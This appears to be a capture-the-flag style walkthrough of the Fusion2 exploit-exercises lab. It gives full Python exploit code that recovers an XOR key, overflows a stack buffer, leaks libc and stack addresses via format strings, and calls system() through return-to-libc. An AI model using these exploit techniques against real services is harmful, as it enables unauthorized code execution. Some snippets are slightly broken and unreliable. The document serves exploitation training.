Another day another exploit!
This time we will be working on Fusion2 from exploit-exercises.com
It is a little bit harder than the previous 2 exercise that we solved here because it involves some crypto-wannabe function and some more mitigation that we haven’t seen before. The good news about the mitigation (non executable stack and heap) is that we didn’t try to execute code from the stack or heap last 2 levels so we should be fine.
Now go read the code of Fusion2 take as much time as you need. Find the buffer overflow. If you don’t understand what the program does. I believe you should learn how to program in C before you learn how to bugs in C code.
- Find the buffer overflow.
- Control the data being written to stack.
- Find the address of the stack
- Find the address of libc
- Call system with a predefined buffer.
- Go catch some sun at the beach!
Well, the buffer “buffer” is kept on the stack, the program receives a length n and then reads n bytes into this buffer, xors them with a secret key and then returns them back to you. In no stage this length is being verified to be shorter than the length of the buffer! Seems like we found our overflow. Now lets write a simple client to communicate with it and test it.
#! /usr/bin/env python import socket import struct import time PORT = 20002 HOST = "VM" def send_encrypt_command(s, data): s.send("E") s.send(struct.pack("I", len(data))) s.send(data) time.sleep(0.1) s.recv(len("[-- encryption complete. please mention 474bd3ad-c65b-47ab-b041-602047ab8792 to support staff to retrieve your file --]\n")+1) output_length = struct.unpack("I",s.recv(4)) print "reciveing output for encrypt command %d bytes"% (output_length, ) return s.recv(output_length) def send_quit_command(s): s.send("Q") def create_a_session(): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((HOST, PORT)) print "Reciving:\"%s\"" % (s.recv(1000), ) return s def main(): s = create_a_session() send_encrypt_command(s, "a"* 5000) if __name__ == "__main__": main()
It seems to be working fine. Now lets connect with a debugger and see if we can crash it!
0x6c2ba758 in ?? () 1: x/5i $eip Disabling display 1 to avoid infinite recursion. => 0x6c2ba758: Cannot access memory at address 0x6c2ba758
We crashed it! seems like we overflowed the stack buffer, but the crash address is pretty random. Well, a xor of a random number and our buffer. We can’t really do anything with a crash in a random address…
Controlling the force:
Now let’s see if we can control the data we overflow with. Back to examine the function cipher.
Seems like the cipher key is calculated once per connected client (It happens after the fork, which means that it happens once per child) and we get back our input xored with this key.
We know that X xor 0 = X for every X. So we will send a buffer full of zeros to be xored and returned to us. The output is the xor key for this connection.
Let’s code this new logic:
KEY_LENGTH = 32 def get_encryption_key(s): return send_encrypt_command(s, "\x00" * KEY_LENGTH) def xor_buffer(key, buff): new_buff =  for i, b in enumerate(buff): new_b = chr(ord(b) ^ ord(key[i % KEY_LENGTH])) new_buff.append(new_b) return "".join(new_buff) def send_overflowed_buffer(s, key, payload): data = "a" * (32 * 4096) data += payload xored_data = xor_buffer(key, data) return send_encrypt_command(s, xored_data) def main(): s = create_a_session() key = get_encryption_key(s) send_overflowed_buffer(s, key, "bbbb" * 4 + "cccc") send_quit_command(s)
And run it, while being connected with a gdb
Program received signal SIGSEGV, Segmentation fault. [Switching to process 26424] 0x63636363 in ?? () 1: x/5i $eip Disabling display 1 to avoid infinite recursion. => 0x63636363: Cannot access memory at address 0x63636363 (gdb) info registers eax 0x51 81 ecx 0xbf916dbb -1080988229 edx 0x1 1 ebx 0xb771dff4 -1217273868 esp 0xbf936dd0 0xbf936dd0 ebp 0x62626262 0x62626262 esi 0x0 0 edi 0x0 0 eip 0x63636363 0x63636363 eflags 0x10246 [ PF ZF IF RF ] cs 0x73 115 ss 0x7b 123 ds 0x7b 123 es 0x7b 123 fs 0x0 0 gs 0x33 51 (gdb) x/s $eax 0x51: <Address 0x51 out of bounds> (gdb) x/s $ebx 0xb771dff4: "|}\027" (gdb) x/s $ecx 0xbf916dbb: "Q", 'a' <repeats 32 times>"\247, \022" (gdb) x/s $edx 0x1: <Address 0x1 out of bounds>
And it works, we control the return address! Notice that 0x64 is ‘c’ and 0x64646464 is “cccc”
So now that we control the return address lets see what else we need in order to get a working exploit. The way I like to roll, is to call system with a string I control.
To do that we need:
- Find libc
- Find how the address of a buffer we control (that will contain the line we would like to run.)
In order to find the address of libc, we can do a similar trick to the one we did in fusion1. This time we will just return into the function printf, with an address of a pointer to libc as a format string. This pointer can be found in .got.plt of the executable.
def get_address_of_libc(): s = create_a_session() key = get_encryption_key(s) payload = struct.pack("I", 0x8048870) #adddres of printf payload += struct.pack("I", 0x804b5dc) #adddres of exit, return address for printf payload += struct.pack("I", 0x804b3c8) #adddres open in .got.plt, what we want to printf send_overflowed_buffer(s, key, "bbbb" * 4 + payload) send_quit_command(s) data = s.recv(1000) data = data[:4] address_of_open = struct.unpack("I", data) address_of_libc = address_of_open - 0xc0b60 return address_of_libc
Okey now that we have the address of libc, we just need to figure out how to get the address of a buffer we control so that we can pass it into system. (Actually controlling the stack and having the address of libc is enough but requires more complicated exploit script, we will see it in future article.)
Finding stack address
Remember we control the value of ecx? (it’s the string we input as file to encrypt), I run a search of usages of ecx in ida trying to find a place I can use it. And I come by this block of code:
What do we see here? It’s a call to the function fprintf with the format string being passed on $ecx. If we jump into this code 2 opcodes after the call to strerror, we can pass any format string we want to fprintf. And if I will pass enough %x’s I can read as much of the stack as I would like. Somewhere on the stack I expect to find and address of a stack variable.
I try to do it, and somehow this variable gets corrupted from some point, so I can’t send as many %x’s that I need. I connect with a debugger and figure out that the 12th stack variable is a pointer to a variable that is on the stack, I use the format %12$x to print it as a hex number. It prints the 12th-4 byte parameter on the stack as an hexadecimal number. I test it and it is exactly 0x200d8 bytes away from the buffer I control, which means that after getting it I can get the buffer address with simple math.
def get_address_of_buffer(): s = create_a_session() key = get_encryption_key(s) payload = struct.pack("I", 0x8049346) #adddres of setting up and calling fprintf payload += struct.pack("I", 0x804b5dc) #adddres of exit, return address for printf # printf format that says, print the 12th stack parameter as hex number prefix = "%12$x" + "\x00" * 4 send_overflowed_buffer(s, key, "bbbb" * 4 + payload, prefix = prefix) send_quit_command(s) data = s.recv(1000) # The first printed char will be Q because of the quit command we must send. stack_address = int(data[1:], 16) buffer_address = stack_address - 0x200d8 return buffer_address
After that, exploiting is pretty easy. We just make sure the buffer starts with a line we want to run, say “touch /tmp/a”. And change the return address to return into the function system with the buffer as the first parameter. And that’s it.
def exploit(libc_address, buffer_address): s = create_a_session() key = get_encryption_key(s) # calling system with buffer as parameter payload = struct.pack("I", libc_address + 0x3cb20) #adddres of system payload += struct.pack("I", 0x804b5dc) #adddres of exit, return address for printf payload += struct.pack("I", buffer_address) prefix = "touch /tmp/a" + "\x00" * 4 send_overflowed_buffer(s, key, "bbbb" * 4 + payload, prefix = prefix) send_quit_command(s) time.sleep(0.1) print s.recv(1000) def main(): buffer_address = get_address_of_buffer() libc_address = get_address_of_libc() print "libc is at %x, buffer is at %x" %(libc_address, buffer_address) exploit(libc_address, buffer_address) if __name__ == "__main__": main()
Now I am going to the beach!
I would love to hear what you think about the article and the solution in the comments below.